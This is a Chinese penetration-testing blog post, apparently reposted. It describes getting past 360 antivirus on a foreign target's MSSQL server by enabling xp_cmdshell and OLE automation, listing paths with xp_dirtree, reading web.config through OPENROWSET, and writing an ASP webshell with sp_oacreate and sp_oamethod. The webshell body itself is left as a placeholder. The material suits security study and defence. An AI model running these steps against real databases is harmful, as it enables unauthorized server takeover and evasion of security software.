绕过杀软的渗透测试:通过数据库写入WebShell绕过杀软防护的实战经验

admin 2026-04-29 05:39:45 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文记录一次国外渗透测试实战,通过获取MSSQL数据库权限后利用OLE自动化存储过程写入WebShell绕过杀软防护。关键发现包括使用xp_dirtree定位网站路径、启用OleAutomationProcedures生成木马文件,并分析因数据库服务权限与普通用户权限差异导致杀软无法查杀的原因。文章提供具体操作步骤并强调该方法可规避文件上传监控。 综合评分: 76 文章分类: 渗透测试,实战经验,WEB安全,红队,内网渗透


cover_image

绕过杀软的渗透测试:通过数据库写入WebShell绕过杀软防护的实战经验

zkaq-郑居中 zkaq-郑居中

掌控安全EDU

2026年4月28日 13:23 江西

在小说阅读器读本章

去阅读

扫码领资料

获网安教程

本文由掌控安全学院 – 郑居中 投稿

Track安全社区投稿~

千元稿费!还有保底奖励~( https://bbs.zkaq.cn)****

  • 0x1 开篇

  • 0x2 初遇难题

  • 0x3 峰回路转

  • OLE自动化存储过程写入WebShell

  • xp_dirtree

  • 0x4 势如破竹

  • 0x5 复盘思考

0x1 开篇

记录一次比较有思考意义的国外渗透过程,通过外围打点渗透,成功获取到目标数据库的账号和密码,连接数据库后上传 WebShell 实现控制,但在尝试上传后门木马文件时,发现目标系统中运行着杀软,使用 tasklist /SVC 确认杀软进程的存在,导致一旦上传恶意文件,系统会立即触发杀软扫描并进行拦截,上传木马的尝试失败。

0x2 初遇难题

这里外围打点,如何拿到数据库账号密码的,就不写了,主要是绕过杀软成功上传WebShell的思路。

开始:我拿到的是mssql数据库的账号密码,连接成功后,第一时间想到使用xp_cmdshell 执行系统命令,但是遗憾以失败告终! xp_cmdshell 是 Sql Server 中的一个组件,我们可以用它来执行系统命令。 首先查看数据库的权限:

Select IS_SRVROLEMEMBER(‘sysadmin’); 为1说明是 SQL Server 的 sysadmin 角色成员。

开启xp_cmshell

EXEC sp_configure 'show advanced options', 1
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;

执行命令,显示报错,问gpt,说权限问题或存在杀软、防火墙,禁止调用系统命令。

exec master..xp_cmdshell ‘whoami’;

所以xp_cmdshell,这条路断了,想其他思路。

0x3 峰回路转

OLE自动化存储过程写入WebShell

在网上找了其他思路,最终确认一条”OLE自动化存储过程写入WebShell”。

开始操作,首先权限必须是DBA权限,我们已经是的,其次要知道网站的绝对路径。绝对路径怎么找,上网找到xp_dirtree。

xp_dirtree

xp_dirtree 是 SQL Server 中的一个扩展存储过程,用于返回指定目录下的所有文件夹和子目录的树状结构。它可以帮助查询指定路径下的目录结构,常用于获取目录中所有子文件夹的信息。

用法:

列出C盘下Temp目录所有文件
EXEC xp_dirtree 'C:\Temp', 1, 1;

列出C盘下Temp目录所有文件夹
EXEC xp_dirtree 'C:\Temp', 1;

通过这种办法,就找到了目标系统的网站路径。

但是要是想看具体文件的内容,就需要其他方法。

  • OPENROWSET 如果你的 SQL Server 启用了 Ad Hoc Distributed Queries 功能,可以用 OPENROWSET 直接读取文件:
  • 启用 Ad Hoc Distributed Queries
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'Ad Hoc Distributed Queries', 1;
RECONFIGURE;
  • 读取文件内容 假设文件路径为 C:\example\file.txt:
SELECT *
FROM OPENROWSET(
BULK 'd:\TwApi\Wuye\web.config',
SINGLE_CLOB
) AS FileContent;

 作用:读取整个文件的内容为单个文本字段。

0x4 势如破竹

现在权限足够,网站绝对路径知道了,直接通过写webshell。

declare <span>@o</span> int, <span>@f</span> int, <span>@t</span> int, <span>@ret</span> int
exec sp_oacreate 'scripting.filesystemobject', <span>@o</span> out
exec sp_oamethod <span>@o,</span> 'createtextfile', <span>@f</span> out, 'd:\xxxx\muma.asp', 1
exec <span>@ret</span> = sp_oamethod <span>@f,</span> 'writeline', NULL,'木马文件内容'

如果遇到虾米, SQL Server 默认禁用了 Ole Automation Procedures,这是为了安全原因防止未经授权的操作 。

启用Ole Automation Procedures

EXEC sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE;

一句话,直接使用蚁剑连接,连接成功,但是上传后门文件,上传成功后下一秒就会被杀

但是存在杀软上传的木马第一时间都会被杀,通过 tasklist /SVC,发现是 360

0x5 复盘思考

在我 tasklist /SVC 后,发现该系统存在 360 杀软,上传任何木马后门都会被第一时间杀掉,证明杀软正常运行。为什么我通过数据库写入的WebShell一句话都没有被杀?而且连接成功了。我还修改不了从数据库生成的木马文件,最终解释权给到了权限问题。

  • 权限差异。
  1. 通过蚁剑正常上传的文件会带有当前用户的权限(普通用户),杀软可能有权限直接修改、隔离该文件。
  2. 数据库生成的文件可能继承了数据库服务的权限(通常是系统级别),这可能导致杀软无法直接操作或修改该文件,从而避免了被查杀。
  3. 一般杀软会监控文件上传操作(如 FTP 或 HTTP 请求中的文件流)或 Web 服务器目录下的新建文件,而 OLE 自动化生成的文件没有典型的网络传输过程,容易规避查杀 。

也是绕过杀软的一种思路/

文章中涉及的敏感信息均已做打码处理,文章仅做经验分享用途,切勿当真,未授权的攻击属于非法行为!文章中敏感信息均已做多层打码处理。传播、利用本文章所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任,一旦造成后果请自行承担!

申明:本公众号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,

所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法.

没看够~?欢迎关注!

分享本文到朋友圈,可以凭截图找老师领取

上千教程+工具+交流群+靶场账号

分享后扫码加我!

回顾往期内容

我与红队:一场网络安全实战的较量与成长

网络安全人员必考的几本证书!

文库|内网神器cs4.0使用说明书

重生HW之感谢客服小姐姐带我进入内网遨游

手把手教你CNVD漏洞挖掘 + 资产收集

【精选】SRC快速入门+上分小秘籍+实战指南

代理池工具撰写 | 只有无尽的跳转,没有封禁的IP!

点赞+在看支持一下吧~感谢看官老爷~

你的点赞是我更新的动力


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:掌控安全EDU zkaq-郑居中 zkaq-郑居中《绕过杀软的渗透测试:通过数据库写入WebShell绕过杀软防护的实战经验》

评论:0   参与:  0